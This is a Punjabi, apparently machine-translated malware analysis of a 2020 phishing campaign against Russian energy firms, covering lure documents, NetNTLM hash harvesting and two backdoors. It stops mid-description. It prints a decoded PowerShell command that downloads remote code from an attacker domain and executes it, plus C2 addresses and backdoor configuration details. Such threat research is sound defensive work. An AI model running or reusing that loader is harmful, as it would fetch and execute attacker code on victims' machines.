ਅਸੀਂ ਰੂਸੀ ਬਾਲਣ ਅਤੇ ਊਰਜਾ ਕੰਪਲੈਕਸ 'ਤੇ ਨਿਸ਼ਾਨਾ ਬਣਾਏ ਗਏ ਜਾਸੂਸੀ ਹਮਲੇ ਦੀ ਜਾਂਚ ਕਰ ਰਹੇ ਹਾਂ

ਕੰਪਿਊਟਰ ਸੁਰੱਖਿਆ ਦੀਆਂ ਘਟਨਾਵਾਂ ਦੀ ਜਾਂਚ ਕਰਨ ਵਿੱਚ ਸਾਡਾ ਤਜਰਬਾ ਇਹ ਦਰਸਾਉਂਦਾ ਹੈ ਕਿ ਈਮੇਲ ਅਜੇ ਵੀ ਹਮਲਾਵਰਾਂ ਦੁਆਰਾ ਹਮਲਾਵਰ ਨੈੱਟਵਰਕ ਬੁਨਿਆਦੀ ਢਾਂਚੇ ਵਿੱਚ ਪ੍ਰਵੇਸ਼ ਕਰਨ ਲਈ ਵਰਤੇ ਜਾਂਦੇ ਸਭ ਤੋਂ ਆਮ ਚੈਨਲਾਂ ਵਿੱਚੋਂ ਇੱਕ ਹੈ। ਇੱਕ ਸ਼ੱਕੀ (ਜਾਂ ਇੰਨਾ ਸ਼ੱਕੀ ਨਹੀਂ) ਅੱਖਰ ਨਾਲ ਇੱਕ ਲਾਪਰਵਾਹੀ ਵਾਲੀ ਕਾਰਵਾਈ ਅੱਗੇ ਦੀ ਲਾਗ ਲਈ ਇੱਕ ਪ੍ਰਵੇਸ਼ ਬਿੰਦੂ ਬਣ ਜਾਂਦੀ ਹੈ, ਇਸੇ ਕਰਕੇ ਸਾਈਬਰ ਅਪਰਾਧੀ ਸਰਗਰਮੀ ਨਾਲ ਸੋਸ਼ਲ ਇੰਜਨੀਅਰਿੰਗ ਤਰੀਕਿਆਂ ਦੀ ਵਰਤੋਂ ਕਰ ਰਹੇ ਹਨ, ਹਾਲਾਂਕਿ ਸਫਲਤਾ ਦੀਆਂ ਵੱਖ-ਵੱਖ ਡਿਗਰੀਆਂ ਦੇ ਨਾਲ।

ਇਸ ਪੋਸਟ ਵਿੱਚ ਅਸੀਂ ਰੂਸੀ ਈਂਧਨ ਅਤੇ ਊਰਜਾ ਕੰਪਲੈਕਸ ਵਿੱਚ ਕਈ ਉੱਦਮਾਂ ਨੂੰ ਨਿਸ਼ਾਨਾ ਬਣਾਉਣ ਵਾਲੀ ਇੱਕ ਸਪੈਮ ਮੁਹਿੰਮ ਦੀ ਸਾਡੀ ਤਾਜ਼ਾ ਜਾਂਚ ਬਾਰੇ ਗੱਲ ਕਰਨਾ ਚਾਹੁੰਦੇ ਹਾਂ। ਸਾਰੇ ਹਮਲੇ ਜਾਅਲੀ ਈਮੇਲਾਂ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਉਸੇ ਦ੍ਰਿਸ਼ਟੀਕੋਣ ਦੀ ਪਾਲਣਾ ਕਰਦੇ ਹਨ, ਅਤੇ ਕਿਸੇ ਨੇ ਵੀ ਇਹਨਾਂ ਈਮੇਲਾਂ ਦੀ ਟੈਕਸਟ ਸਮੱਗਰੀ ਵਿੱਚ ਜ਼ਿਆਦਾ ਕੋਸ਼ਿਸ਼ ਨਹੀਂ ਕੀਤੀ ਸੀ।

ਖੁਫੀਆ ਸੇਵਾ

ਇਹ ਸਭ ਅਪ੍ਰੈਲ 2020 ਦੇ ਅੰਤ ਵਿੱਚ ਸ਼ੁਰੂ ਹੋਇਆ, ਜਦੋਂ ਡਾਕਟਰ ਵੈੱਬ ਵਾਇਰਸ ਵਿਸ਼ਲੇਸ਼ਕਾਂ ਨੇ ਇੱਕ ਸਪੈਮ ਮੁਹਿੰਮ ਦਾ ਪਤਾ ਲਗਾਇਆ ਜਿਸ ਵਿੱਚ ਹੈਕਰਾਂ ਨੇ ਰੂਸੀ ਬਾਲਣ ਅਤੇ ਊਰਜਾ ਕੰਪਲੈਕਸ ਵਿੱਚ ਕਈ ਉੱਦਮਾਂ ਦੇ ਕਰਮਚਾਰੀਆਂ ਨੂੰ ਇੱਕ ਅਪਡੇਟ ਕੀਤੀ ਟੈਲੀਫੋਨ ਡਾਇਰੈਕਟਰੀ ਭੇਜੀ। ਬੇਸ਼ੱਕ, ਇਹ ਚਿੰਤਾ ਦਾ ਇੱਕ ਸਧਾਰਨ ਪ੍ਰਦਰਸ਼ਨ ਨਹੀਂ ਸੀ, ਕਿਉਂਕਿ ਡਾਇਰੈਕਟਰੀ ਅਸਲੀ ਨਹੀਂ ਸੀ, ਅਤੇ .docx ਦਸਤਾਵੇਜ਼ਾਂ ਨੇ ਰਿਮੋਟ ਸਰੋਤਾਂ ਤੋਂ ਦੋ ਚਿੱਤਰ ਡਾਊਨਲੋਡ ਕੀਤੇ ਸਨ।

ਇਹਨਾਂ ਵਿੱਚੋਂ ਇੱਕ ਨੂੰ ਨਿਊਜ਼[.]zannews[.]com ਸਰਵਰ ਤੋਂ ਉਪਭੋਗਤਾ ਦੇ ਕੰਪਿਊਟਰ 'ਤੇ ਡਾਊਨਲੋਡ ਕੀਤਾ ਗਿਆ ਸੀ। ਇਹ ਧਿਆਨ ਦੇਣ ਯੋਗ ਹੈ ਕਿ ਡੋਮੇਨ ਨਾਮ ਕਜ਼ਾਕਿਸਤਾਨ ਦੇ ਭ੍ਰਿਸ਼ਟਾਚਾਰ ਵਿਰੋਧੀ ਮੀਡੀਆ ਸੈਂਟਰ - zannews[.]kz ਦੇ ਡੋਮੇਨ ਦੇ ਸਮਾਨ ਹੈ। ਦੂਜੇ ਪਾਸੇ, ਵਰਤਿਆ ਗਿਆ ਡੋਮੇਨ ਤੁਰੰਤ TOPNEWS ਵਜੋਂ ਜਾਣੀ ਜਾਂਦੀ ਇੱਕ ਹੋਰ 2015 ਮੁਹਿੰਮ ਦੀ ਯਾਦ ਦਿਵਾਉਂਦਾ ਸੀ, ਜਿਸ ਵਿੱਚ ਇੱਕ ICEFOG ਬੈਕਡੋਰ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਗਈ ਸੀ ਅਤੇ ਉਹਨਾਂ ਦੇ ਨਾਮ ਵਿੱਚ "ਨਿਊਜ਼" ਸਬਸਟ੍ਰਿੰਗ ਦੇ ਨਾਲ ਟਰੋਜਨ ਕੰਟਰੋਲ ਡੋਮੇਨ ਸਨ। ਇੱਕ ਹੋਰ ਦਿਲਚਸਪ ਵਿਸ਼ੇਸ਼ਤਾ ਇਹ ਸੀ ਕਿ ਵੱਖ-ਵੱਖ ਪ੍ਰਾਪਤਕਰਤਾਵਾਂ ਨੂੰ ਈਮੇਲ ਭੇਜਣ ਵੇਲੇ, ਇੱਕ ਚਿੱਤਰ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਲਈ ਬੇਨਤੀਆਂ ਜਾਂ ਤਾਂ ਵੱਖਰੇ ਬੇਨਤੀ ਮਾਪਦੰਡਾਂ ਜਾਂ ਵਿਲੱਖਣ ਚਿੱਤਰ ਨਾਮਾਂ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।

ਸਾਡਾ ਮੰਨਣਾ ਹੈ ਕਿ ਇਹ ਇੱਕ "ਭਰੋਸੇਯੋਗ" ਪਤੇ ਦੀ ਪਛਾਣ ਕਰਨ ਲਈ ਜਾਣਕਾਰੀ ਇਕੱਠੀ ਕਰਨ ਦੇ ਉਦੇਸ਼ ਲਈ ਕੀਤਾ ਗਿਆ ਸੀ, ਜਿਸਨੂੰ ਫਿਰ ਸਹੀ ਸਮੇਂ 'ਤੇ ਪੱਤਰ ਖੋਲ੍ਹਣ ਦੀ ਗਰੰਟੀ ਦਿੱਤੀ ਜਾਵੇਗੀ। SMB ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਦੂਜੇ ਸਰਵਰ ਤੋਂ ਚਿੱਤਰ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਲਈ ਕੀਤੀ ਗਈ ਸੀ, ਜੋ ਕਿ ਪ੍ਰਾਪਤ ਕੀਤੇ ਦਸਤਾਵੇਜ਼ ਨੂੰ ਖੋਲ੍ਹਣ ਵਾਲੇ ਕਰਮਚਾਰੀਆਂ ਦੇ ਕੰਪਿਊਟਰਾਂ ਤੋਂ NetNTLM ਹੈਸ਼ਾਂ ਨੂੰ ਇਕੱਠਾ ਕਰਨ ਲਈ ਕੀਤਾ ਜਾ ਸਕਦਾ ਸੀ।

ਅਤੇ ਇੱਥੇ ਜਾਅਲੀ ਡਾਇਰੈਕਟਰੀ ਵਾਲਾ ਪੱਤਰ ਹੈ:

ਇਸ ਸਾਲ ਦੇ ਜੂਨ ਵਿੱਚ, ਹੈਕਰਾਂ ਨੇ ਤਸਵੀਰਾਂ ਅਪਲੋਡ ਕਰਨ ਲਈ ਇੱਕ ਨਵੇਂ ਡੋਮੇਨ ਨਾਮ, sports[.]manhajnews[.]com ਦੀ ਵਰਤੋਂ ਸ਼ੁਰੂ ਕੀਤੀ। ਵਿਸ਼ਲੇਸ਼ਣ ਨੇ ਦਿਖਾਇਆ ਕਿ manhajnews[.]com ਸਬਡੋਮੇਨ ਘੱਟੋ-ਘੱਟ ਸਤੰਬਰ 2019 ਤੋਂ ਸਪੈਮ ਮੇਲਿੰਗਾਂ ਵਿੱਚ ਵਰਤੇ ਗਏ ਹਨ। ਇਸ ਮੁਹਿੰਮ ਦਾ ਇੱਕ ਨਿਸ਼ਾਨਾ ਰੂਸ ਦੀ ਇੱਕ ਵੱਡੀ ਯੂਨੀਵਰਸਿਟੀ ਸੀ।

ਨਾਲ ਹੀ, ਜੂਨ ਤੱਕ, ਹਮਲੇ ਦੇ ਆਯੋਜਕ ਆਪਣੇ ਪੱਤਰਾਂ ਲਈ ਇੱਕ ਨਵਾਂ ਟੈਕਸਟ ਲੈ ਕੇ ਆਏ: ਇਸ ਵਾਰ ਦਸਤਾਵੇਜ਼ ਵਿੱਚ ਉਦਯੋਗ ਦੇ ਵਿਕਾਸ ਬਾਰੇ ਜਾਣਕਾਰੀ ਸ਼ਾਮਲ ਹੈ। ਪੱਤਰ ਦੇ ਪਾਠ ਨੇ ਸਪੱਸ਼ਟ ਤੌਰ 'ਤੇ ਸੰਕੇਤ ਦਿੱਤਾ ਕਿ ਇਸਦਾ ਲੇਖਕ ਜਾਂ ਤਾਂ ਰੂਸੀ ਭਾਸ਼ਾ ਦਾ ਮੂਲ ਬੁਲਾਰਾ ਨਹੀਂ ਸੀ, ਜਾਂ ਜਾਣਬੁੱਝ ਕੇ ਆਪਣੇ ਬਾਰੇ ਅਜਿਹਾ ਪ੍ਰਭਾਵ ਪੈਦਾ ਕਰ ਰਿਹਾ ਸੀ। ਬਦਕਿਸਮਤੀ ਨਾਲ, ਉਦਯੋਗ ਦੇ ਵਿਕਾਸ ਦੇ ਵਿਚਾਰ, ਹਮੇਸ਼ਾ ਵਾਂਗ, ਸਿਰਫ ਇੱਕ ਕਵਰ ਬਣ ਗਏ - ਦਸਤਾਵੇਜ਼ ਨੇ ਦੁਬਾਰਾ ਦੋ ਚਿੱਤਰਾਂ ਨੂੰ ਡਾਊਨਲੋਡ ਕੀਤਾ, ਜਦੋਂ ਕਿ ਸਰਵਰ ਨੂੰ [.]inklingpaper[.]com ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਲਈ ਬਦਲਿਆ ਗਿਆ ਸੀ।

ਅਗਲੀ ਨਵੀਨਤਾ ਜੁਲਾਈ ਵਿੱਚ ਹੋਈ। ਐਂਟੀਵਾਇਰਸ ਪ੍ਰੋਗਰਾਮਾਂ ਦੁਆਰਾ ਖਤਰਨਾਕ ਦਸਤਾਵੇਜ਼ਾਂ ਦੀ ਖੋਜ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨ ਦੀ ਕੋਸ਼ਿਸ਼ ਵਿੱਚ, ਹਮਲਾਵਰਾਂ ਨੇ ਇੱਕ ਪਾਸਵਰਡ ਨਾਲ ਇਨਕ੍ਰਿਪਟਡ ਮਾਈਕਰੋਸਾਫਟ ਵਰਡ ਦਸਤਾਵੇਜ਼ਾਂ ਦੀ ਵਰਤੋਂ ਕਰਨੀ ਸ਼ੁਰੂ ਕਰ ਦਿੱਤੀ। ਉਸੇ ਸਮੇਂ, ਹਮਲਾਵਰਾਂ ਨੇ ਇੱਕ ਕਲਾਸਿਕ ਸੋਸ਼ਲ ਇੰਜੀਨੀਅਰਿੰਗ ਤਕਨੀਕ ਦੀ ਵਰਤੋਂ ਕਰਨ ਦਾ ਫੈਸਲਾ ਕੀਤਾ - ਇਨਾਮ ਦੀ ਸੂਚਨਾ.

ਅਪੀਲ ਦਾ ਪਾਠ ਦੁਬਾਰਾ ਉਸੇ ਸ਼ੈਲੀ ਵਿਚ ਲਿਖਿਆ ਗਿਆ ਸੀ, ਜਿਸ ਨੇ ਸੰਬੋਧਨ ਕਰਨ ਵਾਲੇ ਵਿਚ ਹੋਰ ਸ਼ੱਕ ਪੈਦਾ ਕਰ ਦਿੱਤਾ ਸੀ। ਚਿੱਤਰ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਨ ਲਈ ਸਰਵਰ ਵੀ ਨਹੀਂ ਬਦਲਿਆ।

ਨੋਟ ਕਰੋ ਕਿ ਸਾਰੇ ਮਾਮਲਿਆਂ ਵਿੱਚ, ਪੱਤਰ ਭੇਜਣ ਲਈ ਮੇਲ[.]ru ਅਤੇ yandex[.]ru ਡੋਮੇਨਾਂ 'ਤੇ ਰਜਿਸਟਰਡ ਇਲੈਕਟ੍ਰਾਨਿਕ ਮੇਲਬਾਕਸ ਵਰਤੇ ਗਏ ਸਨ।

ਹਮਲਾ

ਸਤੰਬਰ 2020 ਦੇ ਸ਼ੁਰੂ ਤੱਕ, ਇਹ ਕਾਰਵਾਈ ਦਾ ਸਮਾਂ ਸੀ। ਸਾਡੇ ਵਾਇਰਸ ਵਿਸ਼ਲੇਸ਼ਕਾਂ ਨੇ ਹਮਲਿਆਂ ਦੀ ਇੱਕ ਨਵੀਂ ਲਹਿਰ ਨੂੰ ਰਿਕਾਰਡ ਕੀਤਾ, ਜਿਸ ਵਿੱਚ ਹਮਲਾਵਰਾਂ ਨੇ ਇੱਕ ਟੈਲੀਫੋਨ ਡਾਇਰੈਕਟਰੀ ਨੂੰ ਅਪਡੇਟ ਕਰਨ ਦੇ ਬਹਾਨੇ ਦੁਬਾਰਾ ਚਿੱਠੀਆਂ ਭੇਜੀਆਂ। ਹਾਲਾਂਕਿ, ਇਸ ਵਾਰ ਅਟੈਚਮੈਂਟ ਵਿੱਚ ਇੱਕ ਖਤਰਨਾਕ ਮੈਕਰੋ ਸ਼ਾਮਲ ਹੈ।

ਨੱਥੀ ਦਸਤਾਵੇਜ਼ ਨੂੰ ਖੋਲ੍ਹਣ ਵੇਲੇ, ਮੈਕਰੋ ਨੇ ਦੋ ਫਾਈਲਾਂ ਬਣਾਈਆਂ:

• VBS ਸਕ੍ਰਿਪਟ %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, ਜਿਸਦਾ ਉਦੇਸ਼ ਇੱਕ ਬੈਚ ਫਾਈਲ ਨੂੰ ਲਾਂਚ ਕਰਨਾ ਸੀ;
• ਬੈਚ ਫਾਈਲ ਖੁਦ %APPDATA%configstest.bat ਹੈ, ਜੋ ਕਿ ਗੁੰਝਲਦਾਰ ਸੀ।

ਇਸਦੇ ਕੰਮ ਦਾ ਸਾਰ ਕੁਝ ਮਾਪਦੰਡਾਂ ਦੇ ਨਾਲ ਪਾਵਰਸ਼ੇਲ ਸ਼ੈੱਲ ਨੂੰ ਲਾਂਚ ਕਰਨ ਲਈ ਹੇਠਾਂ ਆਉਂਦਾ ਹੈ। ਸ਼ੈੱਲ ਨੂੰ ਪਾਸ ਕੀਤੇ ਪੈਰਾਮੀਟਰ ਕਮਾਂਡਾਂ ਵਿੱਚ ਡੀਕੋਡ ਕੀਤੇ ਗਏ ਹਨ:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

ਜਿਵੇਂ ਕਿ ਪੇਸ਼ ਕੀਤੀਆਂ ਕਮਾਂਡਾਂ ਤੋਂ ਹੇਠਾਂ ਦਿੱਤਾ ਗਿਆ ਹੈ, ਉਹ ਡੋਮੇਨ ਜਿਸ ਤੋਂ ਪੇਲੋਡ ਡਾਊਨਲੋਡ ਕੀਤਾ ਗਿਆ ਹੈ, ਨੂੰ ਦੁਬਾਰਾ ਇੱਕ ਨਿਊਜ਼ ਸਾਈਟ ਦੇ ਰੂਪ ਵਿੱਚ ਭੇਸ ਦਿੱਤਾ ਗਿਆ ਹੈ। ਇੱਕ ਸਧਾਰਨ ਲੋਡਰ, ਜਿਸਦਾ ਇੱਕੋ-ਇੱਕ ਕੰਮ ਕਮਾਂਡ ਅਤੇ ਕੰਟਰੋਲ ਸਰਵਰ ਤੋਂ ਸ਼ੈੱਲਕੋਡ ਪ੍ਰਾਪਤ ਕਰਨਾ ਅਤੇ ਇਸਨੂੰ ਚਲਾਉਣਾ ਹੈ। ਅਸੀਂ ਦੋ ਕਿਸਮ ਦੇ ਬੈਕਡੋਰਸ ਦੀ ਪਛਾਣ ਕਰਨ ਦੇ ਯੋਗ ਸੀ ਜੋ ਪੀੜਤ ਦੇ ਪੀਸੀ 'ਤੇ ਸਥਾਪਤ ਕੀਤੇ ਜਾ ਸਕਦੇ ਹਨ।

ਬੈਕਡੋਰ.ਸਿਗਨ2.3238

ਪਹਿਲਾ ਹੈ ਬੈਕਡੋਰ.ਸਿਗਨ2.3238 — ਸਾਡੇ ਮਾਹਰਾਂ ਦਾ ਪਹਿਲਾਂ ਸਾਹਮਣਾ ਨਹੀਂ ਹੋਇਆ ਸੀ, ਅਤੇ ਹੋਰ ਐਂਟੀਵਾਇਰਸ ਵਿਕਰੇਤਾਵਾਂ ਦੁਆਰਾ ਵੀ ਇਸ ਪ੍ਰੋਗਰਾਮ ਦਾ ਕੋਈ ਜ਼ਿਕਰ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਸੀ।

ਇਹ ਪ੍ਰੋਗਰਾਮ C++ ਵਿੱਚ ਲਿਖਿਆ ਇੱਕ ਬੈਕਡੋਰ ਹੈ ਅਤੇ 32-ਬਿੱਟ ਵਿੰਡੋਜ਼ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮਾਂ 'ਤੇ ਚੱਲ ਰਿਹਾ ਹੈ।

ਬੈਕਡੋਰ.ਸਿਗਨ2.3238 ਦੋ ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਪ੍ਰਬੰਧਨ ਸਰਵਰ ਨਾਲ ਸੰਚਾਰ ਕਰਨ ਦੇ ਯੋਗ ਹੈ: HTTP ਅਤੇ HTTPS। ਟੈਸਟ ਕੀਤਾ ਨਮੂਨਾ HTTPS ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। ਸਰਵਰ ਨੂੰ ਬੇਨਤੀਆਂ ਵਿੱਚ ਹੇਠਾਂ ਦਿੱਤੇ ਉਪਭੋਗਤਾ-ਏਜੰਟ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਜਾਂਦੀ ਹੈ:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

ਇਸ ਸਥਿਤੀ ਵਿੱਚ, ਸਾਰੀਆਂ ਬੇਨਤੀਆਂ ਨੂੰ ਪੈਰਾਮੀਟਰਾਂ ਦੇ ਹੇਠਾਂ ਦਿੱਤੇ ਸੈੱਟ ਨਾਲ ਸਪਲਾਈ ਕੀਤਾ ਜਾਂਦਾ ਹੈ:

%s;type=%s;length=%s;realdata=%send

ਜਿੱਥੇ ਹਰੇਕ ਲਾਈਨ %s ਨੂੰ ਇਸ ਨਾਲ ਬਦਲਿਆ ਜਾਂਦਾ ਹੈ:

• ਲਾਗ ਵਾਲੇ ਕੰਪਿਊਟਰ ਦੀ ID,
• ਭੇਜੀ ਜਾ ਰਹੀ ਬੇਨਤੀ ਦੀ ਕਿਸਮ,
• ਰੀਅਲਡਾਟਾ ਖੇਤਰ ਵਿੱਚ ਡੇਟਾ ਦੀ ਲੰਬਾਈ,
• ਡਾਟਾ.

ਲਾਗ ਵਾਲੇ ਸਿਸਟਮ ਬਾਰੇ ਜਾਣਕਾਰੀ ਇਕੱਠੀ ਕਰਨ ਦੇ ਪੜਾਅ 'ਤੇ, ਬੈਕਡੋਰ ਇੱਕ ਲਾਈਨ ਬਣਾਉਂਦਾ ਹੈ ਜਿਵੇਂ:

lan=%s;cmpname=%s;username=%s;version=%s;

ਜਿੱਥੇ lan ਲਾਗ ਵਾਲੇ ਕੰਪਿਊਟਰ ਦਾ IP ਪਤਾ ਹੈ, cmpname ਕੰਪਿਊਟਰ ਦਾ ਨਾਮ ਹੈ, ਉਪਭੋਗਤਾ ਨਾਮ ਉਪਭੋਗਤਾ ਨਾਮ ਹੈ, ਸੰਸਕਰਣ ਲਾਈਨ 0.0.4.03 ਹੈ।

sysinfo ਪਛਾਣਕਰਤਾ ਨਾਲ ਇਹ ਜਾਣਕਾਰੀ https[:]//31.214[.]157.14/log.txt 'ਤੇ ਸਥਿਤ ਕੰਟਰੋਲ ਸਰਵਰ ਨੂੰ POST ਬੇਨਤੀ ਰਾਹੀਂ ਭੇਜੀ ਜਾਂਦੀ ਹੈ। ਜੇ ਜਵਾਬ ਵਿੱਚ ਬੈਕਡੋਰ.ਸਿਗਨ2.3238 ਹਾਰਟ ਸਿਗਨਲ ਪ੍ਰਾਪਤ ਕਰਦਾ ਹੈ, ਕੁਨੈਕਸ਼ਨ ਸਫਲ ਮੰਨਿਆ ਜਾਂਦਾ ਹੈ, ਅਤੇ ਬੈਕਡੋਰ ਸਰਵਰ ਨਾਲ ਸੰਚਾਰ ਦਾ ਮੁੱਖ ਚੱਕਰ ਸ਼ੁਰੂ ਕਰਦਾ ਹੈ।

ਓਪਰੇਟਿੰਗ ਸਿਧਾਂਤਾਂ ਦਾ ਹੋਰ ਪੂਰਾ ਵੇਰਵਾ ਬੈਕਡੋਰ.ਸਿਗਨ2.3238 ਸਾਡੇ ਵਿੱਚ ਹੈ ਵਾਇਰਸ ਲਾਇਬ੍ਰੇਰੀ.

ਬੈਕਡੋਰ.ਵਾਈਟਬਰਡ.23

ਦੂਜਾ ਪ੍ਰੋਗਰਾਮ ਬੈਕਡੋਰ ਦੀ ਇੱਕ ਸੋਧ ਹੈ। ਵ੍ਹਾਈਟਬਰਡ ਬੈਕਡੋਰ, ਕਜ਼ਾਕਿਸਤਾਨ ਵਿੱਚ ਇੱਕ ਸਰਕਾਰੀ ਏਜੰਸੀ ਨਾਲ ਵਾਪਰੀ ਘਟਨਾ ਤੋਂ ਸਾਨੂੰ ਪਹਿਲਾਂ ਹੀ ਜਾਣਿਆ ਜਾਂਦਾ ਹੈ। ਇਹ ਸੰਸਕਰਣ C++ ਵਿੱਚ ਲਿਖਿਆ ਗਿਆ ਹੈ ਅਤੇ ਇਸਨੂੰ 32-ਬਿੱਟ ਅਤੇ 64-ਬਿੱਟ ਵਿੰਡੋਜ਼ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਦੋਵਾਂ 'ਤੇ ਚਲਾਉਣ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ।

ਇਸ ਕਿਸਮ ਦੇ ਜ਼ਿਆਦਾਤਰ ਪ੍ਰੋਗਰਾਮਾਂ ਵਾਂਗ, ਬੈਕਡੋਰ.ਵਾਈਟਬਰਡ.23 ਕੰਟਰੋਲ ਸਰਵਰ ਨਾਲ ਇੱਕ ਏਨਕ੍ਰਿਪਟਡ ਕਨੈਕਸ਼ਨ ਅਤੇ ਸੰਕਰਮਿਤ ਕੰਪਿਊਟਰ ਦੇ ਅਣਅਧਿਕਾਰਤ ਨਿਯੰਤਰਣ ਨੂੰ ਸਥਾਪਤ ਕਰਨ ਲਈ ਤਿਆਰ ਕੀਤਾ ਗਿਆ ਹੈ। ਇੱਕ ਡਰਾਪਰ ਵਰਤ ਕੇ ਇੱਕ ਸਮਝੌਤਾ ਸਿਸਟਮ ਵਿੱਚ ਇੰਸਟਾਲ ਕੀਤਾ ਗਿਆ ਹੈ ਬੈਕਡੋਰ.ਸਿਗਨ2.3244.

ਜਿਸ ਨਮੂਨੇ ਦੀ ਅਸੀਂ ਜਾਂਚ ਕੀਤੀ ਉਹ ਦੋ ਨਿਰਯਾਤ ਵਾਲੀ ਇੱਕ ਖਤਰਨਾਕ ਲਾਇਬ੍ਰੇਰੀ ਸੀ:

• Google Play
• ਟੈਸਟ

ਆਪਣੇ ਕੰਮ ਦੀ ਸ਼ੁਰੂਆਤ ਵਿੱਚ, ਇਹ ਬਾਈਟ 0x99 ਦੇ ਨਾਲ XOR ਓਪਰੇਸ਼ਨ ਦੇ ਅਧਾਰ ਤੇ ਇੱਕ ਐਲਗੋਰਿਦਮ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਬੈਕਡੋਰ ਬਾਡੀ ਵਿੱਚ ਹਾਰਡਵਾਇਰਡ ਕੌਂਫਿਗਰੇਸ਼ਨ ਨੂੰ ਡੀਕ੍ਰਿਪਟ ਕਰਦਾ ਹੈ। ਸੰਰਚਨਾ ਇਸ ਤਰ੍ਹਾਂ ਦਿਖਾਈ ਦਿੰਦੀ ਹੈ:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

ਇਸਦੇ ਨਿਰੰਤਰ ਸੰਚਾਲਨ ਨੂੰ ਯਕੀਨੀ ਬਣਾਉਣ ਲਈ, ਬੈਕਡੋਰ ਖੇਤਰ ਵਿੱਚ ਦਰਸਾਏ ਮੁੱਲ ਨੂੰ ਬਦਲਦਾ ਹੈ ਕੰਮ ਦੇ ਘੰਟੇ ਸੰਰਚਨਾ. ਫੀਲਡ ਵਿੱਚ 1440 ਬਾਈਟਸ ਸ਼ਾਮਲ ਹਨ, ਜੋ ਕਿ 0 ਜਾਂ 1 ਮੁੱਲ ਲੈਂਦੇ ਹਨ ਅਤੇ ਦਿਨ ਵਿੱਚ ਹਰ ਘੰਟੇ ਦੇ ਹਰੇਕ ਮਿੰਟ ਨੂੰ ਦਰਸਾਉਂਦੇ ਹਨ। ਹਰੇਕ ਨੈੱਟਵਰਕ ਇੰਟਰਫੇਸ ਲਈ ਇੱਕ ਵੱਖਰਾ ਥ੍ਰੈਡ ਬਣਾਉਂਦਾ ਹੈ ਜੋ ਇੰਟਰਫੇਸ ਨੂੰ ਸੁਣਦਾ ਹੈ ਅਤੇ ਸੰਕਰਮਿਤ ਕੰਪਿਊਟਰ ਤੋਂ ਪ੍ਰੌਕਸੀ ਸਰਵਰ 'ਤੇ ਪ੍ਰਮਾਣਿਕਤਾ ਪੈਕੇਟਾਂ ਦੀ ਖੋਜ ਕਰਦਾ ਹੈ। ਜਦੋਂ ਅਜਿਹੇ ਪੈਕੇਟ ਦਾ ਪਤਾ ਲਗਾਇਆ ਜਾਂਦਾ ਹੈ, ਤਾਂ ਬੈਕਡੋਰ ਆਪਣੀ ਸੂਚੀ ਵਿੱਚ ਪ੍ਰੌਕਸੀ ਸਰਵਰ ਬਾਰੇ ਜਾਣਕਾਰੀ ਜੋੜਦਾ ਹੈ। ਇਸ ਤੋਂ ਇਲਾਵਾ, WinAPI ਰਾਹੀਂ ਪ੍ਰੌਕਸੀ ਦੀ ਮੌਜੂਦਗੀ ਦੀ ਜਾਂਚ ਕਰਦਾ ਹੈ InternetQueryOptionW.

ਪ੍ਰੋਗਰਾਮ ਮੌਜੂਦਾ ਮਿੰਟ ਅਤੇ ਘੰਟੇ ਦੀ ਜਾਂਚ ਕਰਦਾ ਹੈ ਅਤੇ ਖੇਤਰ ਵਿੱਚ ਡੇਟਾ ਨਾਲ ਇਸਦੀ ਤੁਲਨਾ ਕਰਦਾ ਹੈ ਕੰਮ ਦੇ ਘੰਟੇ ਸੰਰਚਨਾ. ਜੇਕਰ ਦਿਨ ਦੇ ਅਨੁਸਾਰੀ ਮਿੰਟ ਦਾ ਮੁੱਲ ਜ਼ੀਰੋ ਨਹੀਂ ਹੈ, ਤਾਂ ਕੰਟਰੋਲ ਸਰਵਰ ਨਾਲ ਇੱਕ ਕੁਨੈਕਸ਼ਨ ਸਥਾਪਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ।

ਸਰਵਰ ਨਾਲ ਇੱਕ ਕੁਨੈਕਸ਼ਨ ਸਥਾਪਤ ਕਰਨਾ ਕਲਾਇੰਟ ਅਤੇ ਸਰਵਰ ਵਿਚਕਾਰ TLS ਸੰਸਕਰਣ 1.0 ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਇੱਕ ਕਨੈਕਸ਼ਨ ਬਣਾਉਣ ਦੀ ਨਕਲ ਕਰਦਾ ਹੈ। ਪਿਛਲੇ ਦਰਵਾਜ਼ੇ ਦੇ ਸਰੀਰ ਵਿੱਚ ਦੋ ਬਫਰ ਹੁੰਦੇ ਹਨ।

